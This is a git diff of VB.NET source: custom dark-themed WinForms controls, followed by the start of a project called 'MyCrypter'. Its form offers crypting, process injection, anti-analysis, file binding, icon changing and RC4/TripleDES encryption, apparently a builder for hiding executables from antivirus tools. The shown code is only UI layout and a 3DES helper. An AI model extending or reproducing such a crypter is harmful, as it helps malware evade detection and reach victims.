MyBase.OnMouseWheel(e) + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or + ControlStyles.UserPaint Or ControlStyles.Selectable Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + VerticalScrollbar = New LogInVerticalScrollBar + VerticalScrollbar.SmallChange = 1 + VerticalScrollbar.LargeChange = 1 + AddHandler VerticalScrollbar.Scroll, AddressOf HandleScroll + AddHandler VerticalScrollbar.MouseDown, AddressOf Vertical_MouseDown + Controls.Add(VerticalScrollbar) + InvalidateLayout() + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + Dim G = e.Graphics + With G + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(_BaseColour) + Dim AllItems As LogInListBoxItem + Dim Offset As Integer = CInt(VerticalScrollbar.Value * (VerticalScrollbar.Maximum + (Height - (ItemHeight)))) + Dim StartIndex As Integer + If Offset = 0 Then StartIndex = 0 Else StartIndex = CInt(Offset \ ItemHeight \ VerticalScrollbar.Maximum) + Dim EndIndex As Integer = Math.Min(StartIndex + (Height \ ItemHeight), _Items.Count - 1) + + For I As Integer = StartIndex To _Items.Count - 1 + AllItems = Items(I) + Dim Y As Integer = (ItemHeight + (I * ItemHeight) + 1 - Offset) + CInt((ItemHeight / 2) - 8) + If _SelectedItems.Contains(AllItems) Then + .FillRectangle(New SolidBrush(_SelectedItemColour), New Rectangle(0, ItemHeight + (I * ItemHeight) + 1 - Offset, Width - 19, ItemHeight - 1)) + Else + .FillRectangle(New SolidBrush(_NonSelectedItemColour), New Rectangle(0, ItemHeight + (I * ItemHeight) + 1 - Offset, Width - 19, ItemHeight - 1)) + End If + .DrawLine(New Pen(_BorderColour), 0, (ItemHeight + (I * ItemHeight) + 1 - Offset) + ItemHeight - 1, Width - 18, (ItemHeight + (I * ItemHeight) + 1 - Offset) + ItemHeight - 1) + .DrawString(AllItems.Text, New Font("Segoe UI", 8), New SolidBrush(_TextColour), 9, Y) + .ResetClip() + Next + .FillRectangle(New SolidBrush(_TitleAreaColour), New Rectangle(0, 0, Width, ItemHeight)) + .DrawRectangle(New Pen(Color.FromArgb(35, 35, 35)), 1, 1, Width - 3, ItemHeight - 2) + .DrawString(Text, New Font("Segoe UI", 10, FontStyle.Bold), New SolidBrush(_TextColour), New Rectangle(0, 0, Width, ItemHeight + 2), New StringFormat With {.Alignment = StringAlignment.Center, .LineAlignment = StringAlignment.Center}) + .DrawRectangle(New Pen(Color.FromArgb(35, 35, 35), 2), 1, 0, Width - 2, Height - 1) + .DrawLine(New Pen(_BorderColour), 0, ItemHeight, Width, ItemHeight) + .DrawLine(New Pen(_BorderColour, 2), VerticalScrollbar.Location.X - 1, 0, VerticalScrollbar.Location.X - 1, Height) + .InterpolationMode = CType(7, InterpolationMode) + End With + End Sub + +#End Region + +End Class + +Public Class LogInListBoxWBuiltInScrollBar + Inherits Control + +#Region "Declarations" + + Private _Items As New List(Of LogInListBoxItem) + Private ReadOnly _SelectedItems As New List(Of LogInListBoxItem) + Private _MultiSelect As Boolean = True + Private ItemHeight As Integer = 24 + Private ReadOnly VerticalScrollbar As LogInVerticalScrollBar + Private _BaseColour As Color = Color.FromArgb(55, 55, 55) + Private _SelectedItemColour As Color = Color.FromArgb(50, 50, 50) + Private _NonSelectedItemColour As Color = Color.FromArgb(47, 47, 47) + Private _BorderColour As Color = Color.FromArgb(35, 35, 35) + Private _TextColour As Color = Color.FromArgb(255, 255, 255) + Private _SelectedHeight As Integer = 1 + +#End Region + +#Region "Properties" + + + Public Property TextColour As Color + Get + Return _TextColour + End Get + Set(value As Color) + _TextColour = value + End Set + End Property + + + Public Property SelectedHeight As Integer + Get + Return _SelectedHeight + End Get + Set(value As Integer) + If value < 1 Then + _SelectedHeight = Height + Else + _SelectedHeight = value + End If + InvalidateScroll() + End Set + End Property + + + Public Property BaseColour As Color + Get + Return _BaseColour + End Get + Set(value As Color) + _BaseColour = value + End Set + End Property + + + Public Property SelectedItemColour As Color + Get + Return _SelectedItemColour + End Get + Set(value As Color) + _SelectedItemColour = value + End Set + End Property + + + Public Property NonSelectedItemColour As Color + Get + Return _NonSelectedItemColour + End Get + Set(value As Color) + _NonSelectedItemColour = value + End Set + End Property + + + Public Property BorderColour As Color + Get + Return _BorderColour + End Get + Set(value As Color) + _BorderColour = value + End Set + End Property + + + Private Sub HandleScroll(ByVal sender As Object) + Invalidate() + End Sub + + Private Sub InvalidateScroll() + Debug.Print(CStr(Height)) + If CInt(Math.Round(((_Items.Count) * ItemHeight) / _SelectedHeight)) < CDbl((((_Items.Count) * ItemHeight) / _SelectedHeight)) Then + VerticalScrollbar._Maximum = CInt(Math.Ceiling(((_Items.Count) * ItemHeight) / _SelectedHeight)) + ElseIf CInt(Math.Round(((_Items.Count) * ItemHeight) / _SelectedHeight)) = 0 Then + VerticalScrollbar._Maximum = 1 + Else + VerticalScrollbar._Maximum = CInt(Math.Round(((_Items.Count) * ItemHeight) / _SelectedHeight)) + End If + Invalidate() + End Sub + + Private Sub InvalidateLayout() + VerticalScrollbar.Location = New Point(Width - VerticalScrollbar.Width - 2, 2) + VerticalScrollbar.Size = New Size(18, Height - 4) + Invalidate() + End Sub + + Public Class LogInListBoxItem + Property Text As String + Public Overrides Function ToString() As String + Return Text + End Function + End Class + + + Public Property Items() As LogInListBoxItem() + Get + Return _Items.ToArray() + End Get + Set(ByVal value As LogInListBoxItem()) + _Items = New List(Of LogInListBoxItem)(value) + Invalidate() + InvalidateScroll() + End Set + End Property + + Public ReadOnly Property SelectedItems() As LogInListBoxItem() + Get + Return _SelectedItems.ToArray() + End Get + End Property + + Public Property MultiSelect() As Boolean + Get + Return _MultiSelect + End Get + Set(ByVal value As Boolean) + _MultiSelect = value + + If _SelectedItems.Count > 1 Then + _SelectedItems.RemoveRange(1, _SelectedItems.Count - 1) + End If + + Invalidate() + End Set + End Property + + Public Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + ItemHeight = CInt(Graphics.FromHwnd(Handle).MeasureString("@", Font).Height) + If VerticalScrollbar IsNot Nothing Then + VerticalScrollbar._SmallChange = 1 + VerticalScrollbar._LargeChange = 1 + + End If + MyBase.Font = value + InvalidateLayout() + End Set + End Property + + Public Sub AddItem(ByVal Items As String) + Dim Item As New LogInListBoxItem() + Item.Text = Items + _Items.Add(Item) + Invalidate() + InvalidateScroll() + End Sub + + Public Sub AddItems(ByVal Items() As String) + For Each I In Items + Dim Item As New LogInListBoxItem() + Item.Text = I + _Items.Add(Item) + Next + Invalidate() + InvalidateScroll() + End Sub + + Public Sub RemoveItemAt(ByVal index As Integer) + _Items.RemoveAt(index) + Invalidate() + InvalidateScroll() + End Sub + + Public Sub RemoveItem(ByVal item As LogInListBoxItem) + _Items.Remove(item) + Invalidate() + InvalidateScroll() + End Sub + + Public Sub RemoveItems(ByVal items As LogInListBoxItem()) + For Each I As LogInListBoxItem In items + _Items.Remove(I) + Next + Invalidate() + InvalidateScroll() + End Sub + + Protected Overrides Sub OnSizeChanged(ByVal e As EventArgs) + _SelectedHeight = Height + InvalidateScroll() + InvalidateLayout() + MyBase.OnSizeChanged(e) + End Sub + + Private Sub Vertical_MouseDown(ByVal sender As Object, ByVal e As MouseEventArgs) + Focus() + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + Focus() + If e.Button = MouseButtons.Left Then + Dim Offset As Integer = CInt(VerticalScrollbar.Value * (VerticalScrollbar.Maximum + (Height - (ItemHeight)))) + + Dim Index As Integer = ((e.Y + Offset) \ ItemHeight) + + If Index > _Items.Count - 1 Then Index = -1 + + If Not Index = -1 Then + + If ModifierKeys = Keys.Control AndAlso _MultiSelect Then + If _SelectedItems.Contains(_Items(Index)) Then + _SelectedItems.Remove(_Items(Index)) + Else + _SelectedItems.Add(_Items(Index)) + End If + Else + _SelectedItems.Clear() + _SelectedItems.Add(_Items(Index)) + End If + Debug.Print(CStr(_SelectedItems(0).Text)) + End If + + Invalidate() + End If + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseWheel(ByVal e As MouseEventArgs) + Dim Move As Integer = -((e.Delta * SystemInformation.MouseWheelScrollLines \ 120) * (2 \ 2)) + Dim Value As Integer = Math.Max(Math.Min(VerticalScrollbar.Value + Move, VerticalScrollbar.Maximum), VerticalScrollbar.Minimum) + VerticalScrollbar.Value = Value + MyBase.OnMouseWheel(e) + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or + ControlStyles.UserPaint Or ControlStyles.Selectable Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + VerticalScrollbar = New LogInVerticalScrollBar + VerticalScrollbar._SmallChange = 1 + VerticalScrollbar._LargeChange = 1 + AddHandler VerticalScrollbar.Scroll, AddressOf HandleScroll + AddHandler VerticalScrollbar.MouseDown, AddressOf Vertical_MouseDown + Controls.Add(VerticalScrollbar) + InvalidateLayout() + End Sub + + Protected Overrides Sub OnPaint(ByVal e As PaintEventArgs) + Dim g = e.Graphics + With g + .TextRenderingHint = TextRenderingHint.ClearTypeGridFit + .SmoothingMode = SmoothingMode.HighQuality + .PixelOffsetMode = PixelOffsetMode.HighQuality + .Clear(_BaseColour) + Dim AllItems As LogInListBoxItem + Dim Offset As Integer = CInt(VerticalScrollbar.Value * (VerticalScrollbar.Maximum + (Height - (ItemHeight)))) + Dim StartIndex As Integer + If Offset = 0 Then StartIndex = 0 Else StartIndex = CInt(Offset \ ItemHeight \ VerticalScrollbar.Maximum) + Dim EndIndex As Integer = Math.Min(StartIndex + (Height \ ItemHeight), _Items.Count - 1) + .DrawLine(New Pen(_BorderColour, 2), VerticalScrollbar.Location.X - 1, 0, VerticalScrollbar.Location.X - 1, Height) + + For I As Integer = StartIndex To _Items.Count - 1 + AllItems = Items(I) + Dim Y As Integer = ((I * ItemHeight) + 1 - Offset) + CInt((ItemHeight / 2) - 8) + If _SelectedItems.Contains(AllItems) Then + .FillRectangle(New SolidBrush(_SelectedItemColour), New Rectangle(0, (I * ItemHeight) + 1 - Offset, Width - 19, ItemHeight - 1)) + Else + .FillRectangle(New SolidBrush(_NonSelectedItemColour), New Rectangle(0, (I * ItemHeight) + 1 - Offset, Width - 19, ItemHeight - 1)) + End If + .DrawLine(New Pen(_BorderColour), 0, ((I * ItemHeight) + 1 - Offset) + ItemHeight - 1, Width - 18, ((I * ItemHeight) + 1 - Offset) + ItemHeight - 1) + .DrawString(AllItems.Text, New Font("Segoe UI", 8), New SolidBrush(_TextColour), 9, Y) + .ResetClip() + Next + .DrawRectangle(New Pen(Color.FromArgb(35, 35, 35), 2), 1, 1, Width - 2, Height - 2) + ' .DrawLine(New Pen(_BorderColour), 0, ItemHeight, Width, ItemHeight) + .DrawLine(New Pen(_BorderColour, 2), VerticalScrollbar.Location.X - 1, 0, VerticalScrollbar.Location.X - 1, Height) + .InterpolationMode = CType(7, InterpolationMode) + End With + + End Sub + +#End Region + +End Class + + +Public Class LogInPaginator + Inherits Control + +#Region "Declarations" + Private GP1, GP2 As GraphicsPath + + Private R1 As Rectangle + + Private SZ1 As Size + Private PT1 As Point + + Private P1, P2, P3 As Pen + Private B1, B2 As SolidBrush +#End Region + +#Region "Functions" + Public Function RoundRectangle(ByVal Rectangle As Rectangle, ByVal Curve As Integer) As GraphicsPath + Dim P As GraphicsPath = New GraphicsPath() + Dim ArcRectangleWidth As Integer = Curve * 2 + P.AddArc(New Rectangle(Rectangle.X, Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), -180, 90) + P.AddArc(New Rectangle(Rectangle.Width - ArcRectangleWidth + Rectangle.X, Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), -90, 90) + P.AddArc(New Rectangle(Rectangle.Width - ArcRectangleWidth + Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), 0, 90) + P.AddArc(New Rectangle(Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y, ArcRectangleWidth, ArcRectangleWidth), 90, 90) + P.AddLine(New Point(Rectangle.X, Rectangle.Height - ArcRectangleWidth + Rectangle.Y), New Point(Rectangle.X, Curve + Rectangle.Y)) + Return P + End Function + + Public Function RoundRect(x!, y!, w!, h!, Optional r! = 0.3, Optional TL As Boolean = True, Optional TR As Boolean = True, Optional BR As Boolean = True, Optional BL As Boolean = True) As GraphicsPath + Dim d! = Math.Min(w, h) * r, xw = x + w, yh = y + h + RoundRect = New GraphicsPath + With RoundRect + If TL Then .AddArc(x, y, d, d, 180, 90) Else .AddLine(x, y, x, y) + If TR Then .AddArc(xw - d, y, d, d, 270, 90) Else .AddLine(xw, y, xw, y) + If BR Then .AddArc(xw - d, yh - d, d, d, 0, 90) Else .AddLine(xw, yh, xw, yh) + If BL Then .AddArc(x, yh - d, d, d, 90, 90) Else .AddLine(x, yh, x, yh) + .CloseFigure() + End With + End Function +#End Region + +#Region "Properties & Events" + Public Event SelectedIndexChanged(sender As Object, e As EventArgs) + + Private _SelectedIndex As Integer + Public Property SelectedIndex() As Integer + Get + Return _SelectedIndex + End Get + Set(ByVal value As Integer) + _SelectedIndex = Math.Max(Math.Min(value, MaximumIndex), 0) + Invalidate() + End Set + End Property + + Private _NumberOfPages As Integer + Public Property NumberOfPages() As Integer + Get + Return _NumberOfPages + End Get + Set(ByVal value As Integer) + _NumberOfPages = value + _SelectedIndex = Math.Max(Math.Min(_SelectedIndex, MaximumIndex), 0) + Invalidate() + End Set + End Property + + Public ReadOnly Property MaximumIndex As Integer + Get + Return NumberOfPages - 1 + End Get + End Property + + Private ItemWidth As Integer + Public Overrides Property Font As Font + Get + Return MyBase.Font + End Get + Set(value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + + Private Sub InvalidateItems(ByVal e As PaintEventArgs) + Dim S As Size = e.Graphics.MeasureString("000 ..", Font).ToSize() + ItemWidth = S.Width + 10 + End Sub + + Protected Overrides Sub OnMouseDown(e As MouseEventArgs) + If e.Button = MouseButtons.Left Then + Dim NewIndex As Integer + Dim OldIndex As Integer = _SelectedIndex + If _SelectedIndex < 4 Then + NewIndex = (e.X \ ItemWidth) + ElseIf _SelectedIndex > 3 AndAlso _SelectedIndex < (MaximumIndex - 3) Then + NewIndex = (e.X \ ItemWidth) + Select Case NewIndex + Case 2 + NewIndex = OldIndex + Case Is < 2 + NewIndex = OldIndex - (2 - NewIndex) + Case Is > 2 + NewIndex = OldIndex + (NewIndex - 2) + End Select + Else + NewIndex = MaximumIndex - (4 - (e.X \ ItemWidth)) + End If + If (NewIndex < _NumberOfPages) AndAlso (Not NewIndex = OldIndex) Then + SelectedIndex = NewIndex + RaiseEvent SelectedIndexChanged(Me, Nothing) + End If + End If + MyBase.OnMouseDown(e) + End Sub + +#End Region + +#Region "Draw Control" + + Sub New() + SetStyle(ControlStyles.OptimizedDoubleBuffer Or ControlStyles.AllPaintingInWmPaint Or ControlStyles.ResizeRedraw Or + ControlStyles.UserPaint Or ControlStyles.Selectable Or + ControlStyles.SupportsTransparentBackColor, True) + DoubleBuffered = True + BackColor = Color.FromArgb(54, 54, 54) + Size = New Size(202, 26) + B1 = New SolidBrush(Color.FromArgb(50, 50, 50)) + B2 = New SolidBrush(Color.FromArgb(55, 55, 55)) + P1 = New Pen(Color.FromArgb(35, 35, 35)) + P2 = New Pen(Color.FromArgb(23, 119, 151)) + P3 = New Pen(Color.FromArgb(35, 35, 35)) + End Sub + + Protected Overrides Sub OnPaint(e As System.Windows.Forms.PaintEventArgs) + InvalidateItems(e) + Dim g = e.Graphics + With g + .Clear(BackColor) + .SmoothingMode = SmoothingMode.AntiAlias + .TextRenderingHint = Drawing.Text.TextRenderingHint.ClearTypeGridFit + Dim LeftEllipse, RightEllipse As Boolean + If _SelectedIndex < 4 Then + For I As Integer = 0 To Math.Min(MaximumIndex, 4) + RightEllipse = (I = 4) AndAlso (MaximumIndex > 4) + DrawBox(I * ItemWidth, I, False, RightEllipse, g) + Next + ElseIf _SelectedIndex > 3 AndAlso _SelectedIndex < (MaximumIndex - 3) Then + For I As Integer = 0 To 4 + LeftEllipse = (I = 0) + RightEllipse = (I = 4) + DrawBox(I * ItemWidth, _SelectedIndex + I - 2, LeftEllipse, RightEllipse, g) + Next + Else + For I As Integer = 0 To 4 + LeftEllipse = (I = 0) AndAlso (MaximumIndex > 4) + DrawBox(I * ItemWidth, MaximumIndex - (4 - I), LeftEllipse, False, g) + Next + End If + End With + End Sub + + Private Sub DrawBox(ByVal x As Integer, ByVal index As Integer, ByVal leftEllipse As Boolean, ByVal rightEllipse As Boolean, ByVal g As Graphics) + R1 = New Rectangle(x, 0, ItemWidth - 4, Height - 1) + GP1 = RoundRectangle(R1, 4) + GP2 = RoundRectangle(New Rectangle(R1.X + 1, R1.Y + 1, R1.Width - 2, R1.Height - 2), 4) + Dim T As String = CStr(index + 1) + If leftEllipse Then T = ".. " & T + If rightEllipse Then T = T & " .." + SZ1 = g.MeasureString(T, Font).ToSize() + PT1 = New Point(R1.X + (R1.Width \ 2 - SZ1.Width \ 2), R1.Y + (R1.Height \ 2 - SZ1.Height \ 2)) + If index = _SelectedIndex Then + g.FillPath(B1, GP1) + Dim F As New Font(Font, FontStyle.Underline) + g.DrawString(T, F, Brushes.Black, PT1.X + 1, PT1.Y + 1) + g.DrawString(T, F, Brushes.White, PT1) + F.Dispose() + g.DrawPath(P1, GP2) + g.DrawPath(P2, GP1) + Else + g.FillPath(B2, GP1) + g.DrawString(T, Font, Brushes.Black, PT1.X + 1, PT1.Y + 1) + g.DrawString(T, Font, Brushes.White, PT1) + g.DrawPath(P3, GP2) + g.DrawPath(P1, GP1) + End If + End Sub + +#End Region + +End Class \ No newline at end of file diff --git a/scode (MyCrypter/.DS_Store b/scode (MyCrypter/.DS_Store new file mode 100644 index 0000000..7e95ec8 Binary files /dev/null and b/scode (MyCrypter/.DS_Store differ diff --git a/scode (MyCrypter/MyCrypter.sln b/scode (MyCrypter/MyCrypter.sln new file mode 100644 index 0000000..7db4802 --- /dev/null +++ b/scode (MyCrypter/MyCrypter.sln @@ -0,0 +1,26 @@ + +Microsoft Visual Studio Solution File, Format Version 11.00 +# Visual Basic Express 2010 +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "MyCrypter", "MyCrypter\MyCrypter.vbproj", "{91A1671A-D9C2-4B09-9784-1D7D5CAD1056}" +EndProject +Project("{F184B08F-C81C-45F6-A57F-5ABD9991F28F}") = "winini", "winini\winini.vbproj", "{431C311C-D462-41B3-8046-6D2EFA480D81}" +EndProject +Global + GlobalSection(SolutionConfigurationPlatforms) = preSolution + Debug|Any CPU = Debug|Any CPU + Release|Any CPU = Release|Any CPU + EndGlobalSection + GlobalSection(ProjectConfigurationPlatforms) = postSolution + {91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Debug|Any CPU.Build.0 = Debug|Any CPU + {91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Release|Any CPU.ActiveCfg = Release|Any CPU + {91A1671A-D9C2-4B09-9784-1D7D5CAD1056}.Release|Any CPU.Build.0 = Release|Any CPU + {431C311C-D462-41B3-8046-6D2EFA480D81}.Debug|Any CPU.ActiveCfg = Debug|Any CPU + {431C311C-D462-41B3-8046-6D2EFA480D81}.Debug|Any CPU.Build.0 = Debug|Any CPU + {431C311C-D462-41B3-8046-6D2EFA480D81}.Release|Any CPU.ActiveCfg = Release|Any CPU + {431C311C-D462-41B3-8046-6D2EFA480D81}.Release|Any CPU.Build.0 = Release|Any CPU + EndGlobalSection + GlobalSection(SolutionProperties) = preSolution + HideSolutionNode = FALSE + EndGlobalSection +EndGlobal diff --git a/scode (MyCrypter/MyCrypter.suo b/scode (MyCrypter/MyCrypter.suo new file mode 100644 index 0000000..34a6c60 Binary files /dev/null and b/scode (MyCrypter/MyCrypter.suo differ diff --git a/scode (MyCrypter/MyCrypter/31.ico b/scode (MyCrypter/MyCrypter/31.ico new file mode 100644 index 0000000..5198cba Binary files /dev/null and b/scode (MyCrypter/MyCrypter/31.ico differ diff --git a/scode (MyCrypter/MyCrypter/3des.vb b/scode (MyCrypter/MyCrypter/3des.vb new file mode 100644 index 0000000..1635f11 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/3des.vb @@ -0,0 +1,26 @@ +Imports System.Text +Imports System.Security.Cryptography + +Public Class _3des + Public Shared Function Encrypt(ByVal toEncrypt As String, ByVal key As String, ByVal useHashing As Boolean) As String + Dim keyArray As Byte() + Dim toEncryptArray As Byte() = UTF8Encoding.UTF8.GetBytes(toEncrypt) + + If useHashing Then + Dim hashmd5 As New MD5CryptoServiceProvider() + keyArray = hashmd5.ComputeHash(UTF8Encoding.UTF8.GetBytes(key)) + Else + keyArray = UTF8Encoding.UTF8.GetBytes(key) + End If + + Dim tdes As New TripleDESCryptoServiceProvider() + tdes.Key = keyArray + tdes.Mode = CipherMode.ECB + tdes.Padding = PaddingMode.PKCS7 + + Dim cTransform As ICryptoTransform = tdes.CreateEncryptor() + Dim resultArray As Byte() = cTransform.TransformFinalBlock(toEncryptArray, 0, toEncryptArray.Length) + + Return Convert.ToBase64String(resultArray, 0, resultArray.Length) + End Function +End Class diff --git a/scode (MyCrypter/MyCrypter/Form1.Designer.vb b/scode (MyCrypter/MyCrypter/Form1.Designer.vb new file mode 100644 index 0000000..cd42f24 --- /dev/null +++ b/scode (MyCrypter/MyCrypter/Form1.Designer.vb @@ -0,0 +1,393 @@ + _ +Partial Class Form1 + Inherits System.Windows.Forms.Form + + 'Form overrides dispose to clean up the component list. + _ + Protected Overrides Sub Dispose(ByVal disposing As Boolean) + Try + If disposing AndAlso components IsNot Nothing Then + components.Dispose() + End If + Finally + MyBase.Dispose(disposing) + End Try + End Sub + + 'Required by the Windows Form Designer + Private components As System.ComponentModel.IContainer + + 'NOTE: The following procedure is required by the Windows Form Designer + 'It can be modified using the Windows Form Designer. + 'Do not modify it using the code editor. + _ + Private Sub InitializeComponent() + Dim resources As System.ComponentModel.ComponentResourceManager = New System.ComponentModel.ComponentResourceManager(GetType(Form1)) + Me.TextFile = New System.Windows.Forms.TextBox + Me.BtnBrowse = New System.Windows.Forms.Button + Me.BtnCtypt = New System.Windows.Forms.Button + Me.OpenFileDialog1 = New System.Windows.Forms.OpenFileDialog + Me.CheckIcon = New System.Windows.Forms.CheckBox + Me.TextIcon = New System.Windows.Forms.TextBox + Me.BtnIcon = New System.Windows.Forms.Button + Me.CheckClone = New System.Windows.Forms.CheckBox + Me.TextClone = New System.Windows.Forms.TextBox + Me.BtnClone = New System.Windows.Forms.Button + Me.Label1 = New System.Windows.Forms.Label + Me.TextEnc = New System.Windows.Forms.TextBox + Me.Label2 = New System.Windows.Forms.Label + Me.GroupBox1 = New System.Windows.Forms.GroupBox + Me.GroupBox2 = New System.Windows.Forms.GroupBox + Me.CheckDES = New System.Windows.Forms.RadioButton + Me.CheckRC4 = New System.Windows.Forms.RadioButton + Me.GroupBox3 = New System.Windows.Forms.GroupBox + Me.TextProc = New System.Windows.Forms.TextBox + Me.CheckInject = New System.Windows.Forms.CheckBox + Me.CheckAntis = New System.Windows.Forms.CheckBox + Me.GroupBox4 = New System.Windows.Forms.GroupBox + Me.BtnBind = New System.Windows.Forms.Button + Me.TextBind = New System.Windows.Forms.TextBox + Me.CheckBind = New System.Windows.Forms.CheckBox + Me.CheckBytes = New System.Windows.Forms.CheckBox + Me.TextBytes = New System.Windows.Forms.TextBox + Me.GroupBox1.SuspendLayout() + Me.GroupBox2.SuspendLayout() + Me.GroupBox3.SuspendLayout() + Me.GroupBox4.SuspendLayout() + Me.SuspendLayout() + ' + 'TextFile + ' + Me.TextFile.Location = New System.Drawing.Point(23, 53) + Me.TextFile.Name = "TextFile" + Me.TextFile.Size = New System.Drawing.Size(237, 20) + Me.TextFile.TabIndex = 0 + ' + 'BtnBrowse + ' + Me.BtnBrowse.ForeColor = System.Drawing.Color.Black + Me.BtnBrowse.Location = New System.Drawing.Point(274, 53) + Me.BtnBrowse.Name = "BtnBrowse" + Me.BtnBrowse.Size = New System.Drawing.Size(47, 20) + Me.BtnBrowse.TabIndex = 1 + Me.BtnBrowse.Text = "..." + Me.BtnBrowse.UseVisualStyleBackColor = True + ' + 'BtnCtypt + ' + Me.BtnCtypt.Location = New System.Drawing.Point(611, 286) + Me.BtnCtypt.Name = "BtnCtypt" + Me.BtnCtypt.Size = New System.Drawing.Size(77, 50) + Me.BtnCtypt.TabIndex = 2 + Me.BtnCtypt.Text = "Crypt" + Me.BtnCtypt.UseVisualStyleBackColor = True + ' + 'OpenFileDialog1 + ' + Me.OpenFileDialog1.FileName = "OpenFileDialog1" + ' + 'CheckIcon + ' + Me.CheckIcon.AutoSize = True + Me.CheckIcon.BackColor = System.Drawing.Color.Transparent + Me.CheckIcon.ForeColor = System.Drawing.Color.White + Me.CheckIcon.Location = New System.Drawing.Point(21, 92) + Me.CheckIcon.Name = "CheckIcon" + Me.CheckIcon.Size = New System.Drawing.Size(87, 17) + Me.CheckIcon.TabIndex = 4 + Me.CheckIcon.Text = "Change Icon" + Me.CheckIcon.UseVisualStyleBackColor = False + ' + 'TextIcon + ' + Me.TextIcon.Location = New System.Drawing.Point(20, 115) + Me.TextIcon.Name = "TextIcon" + Me.TextIcon.Size = New System.Drawing.Size(237, 20) + Me.TextIcon.TabIndex = 6 + ' + 'BtnIcon + ' + Me.BtnIcon.ForeColor = System.Drawing.Color.Black + Me.BtnIcon.Location = New System.Drawing.Point(273, 115) + Me.BtnIcon.Name = "BtnIcon" + Me.BtnIcon.Size = New System.Drawing.Size(45, 19) + Me.BtnIcon.TabIndex = 8 + Me.BtnIcon.Text = "..." + Me.BtnIcon.UseVisualStyleBackColor = True + ' + 'CheckClone + ' + Me.CheckClone.AutoSize = True + Me.CheckClone.BackColor = System.Drawing.Color.Transparent + Me.CheckClone.ForeColor = System.Drawing.Color.White + Me.CheckClone.Location = New System.Drawing.Point(21, 30) + Me.CheckClone.Name = "CheckClone" + Me.CheckClone.Size = New System.Drawing.Size(91, 17) + Me.CheckClone.TabIndex = 10 + Me.CheckClone.Text = "Clone with file" + Me.CheckClone.UseVisualStyleBackColor = False + ' + 'TextClone + ' + Me.TextClone.Location = New System.Drawing.Point(21, 53) + Me.TextClone.Name = "TextClone" + Me.TextClone.Size = New System.Drawing.Size(234, 20) + Me.TextClone.TabIndex = 11 + ' + 'BtnClone + ' + Me.BtnClone.ForeColor = System.Drawing.Color.Black + Me.BtnClone.Location = New System.Drawing.Point(273, 53) + Me.BtnClone.Name = "BtnClone" + Me.BtnClone.Size = New System.Drawing.Size(46, 19) + Me.BtnClone.TabIndex = 12 + Me.BtnClone.Text = "..." + Me.BtnClone.UseVisualStyleBackColor = True + ' + 'Label1 + ' + Me.Label1.AutoSize = True + Me.Label1.BackColor = System.Drawing.Color.Transparent + Me.Label1.ForeColor = System.Drawing.Color.White + Me.Label1.Location = New System.Drawing.Point(20, 28) + Me.Label1.Name = "Label1" + Me.Label1.Size = New System.Drawing.Size(67, 13) + Me.Label1.TabIndex = 13 + Me.Label1.Text = "File to crypt :" + ' + 'TextEnc + ' + Me.TextEnc.Location = New System.Drawing.Point(120, 53) + Me.TextEnc.Name = "TextEnc" + Me.TextEnc.Size = New System.Drawing.Size(73, 20) + Me.TextEnc.TabIndex = 14 + ' + 'Label2 + ' + Me.Label2.AutoSize = True + Me.Label2.BackColor = System.Drawing.Color.Transparent + Me.Label2.ForeColor = System.Drawing.Color.White + Me.Label2.Location = New System.Drawing.Point(14, 57) + Me.Label2.Name = "Label2" + Me.Label2.Size = New System.Drawing.Size(83, 13) + Me.Label2.TabIndex = 15 + Me.Label2.Text = "Encryption key :" + ' + 'GroupBox1 + ' + Me.GroupBox1.BackColor = System.Drawing.Color.Transparent + Me.GroupBox1.Controls.Add(Me.Label1) + Me.GroupBox1.Controls.Add(Me.TextFile) + Me.GroupBox1.Controls.Add(Me.BtnBrowse) + Me.GroupBox1.ForeColor = System.Drawing.Color.White + Me.GroupBox1.Location = New System.Drawing.Point(12, 12) + Me.GroupBox1.Name = "GroupBox1" + Me.GroupBox1.Size = New System.Drawing.Size(335, 91) + Me.GroupBox1.TabIndex = 18 + Me.GroupBox1.TabStop = False + Me.GroupBox1.Text = "File :" + ' + 'GroupBox2 + ' + Me.GroupBox2.BackColor = System.Drawing.Color.Transparent + Me.GroupBox2.Controls.Add(Me.CheckDES) + Me.GroupBox2.Controls.Add(Me.CheckRC4) + Me.GroupBox2.Controls.Add(Me.TextEnc) + Me.GroupBox2.Controls.Add(Me.Label2) + Me.GroupBox2.ForeColor = System.Drawing.Color.White + Me.GroupBox2.Location = New System.Drawing.Point(354, 245) + Me.GroupBox2.Name = "GroupBox2" + Me.GroupBox2.Size = New System.Drawing.Size(217, 91) + Me.GroupBox2.TabIndex = 19 + Me.GroupBox2.TabStop = False + Me.GroupBox2.Text = "Encryption :" + ' + 'CheckDES + ' + Me.CheckDES.AutoSize = True + Me.CheckDES.Location = New System.Drawing.Point(120, 21) + Me.CheckDES.Name = "CheckDES" + Me.CheckDES.Size = New System.Drawing.Size(73, 17) + Me.CheckDES.TabIndex = 17 + Me.CheckDES.Text = "TripleDES" + Me.CheckDES.UseVisualStyleBackColor = True + ' 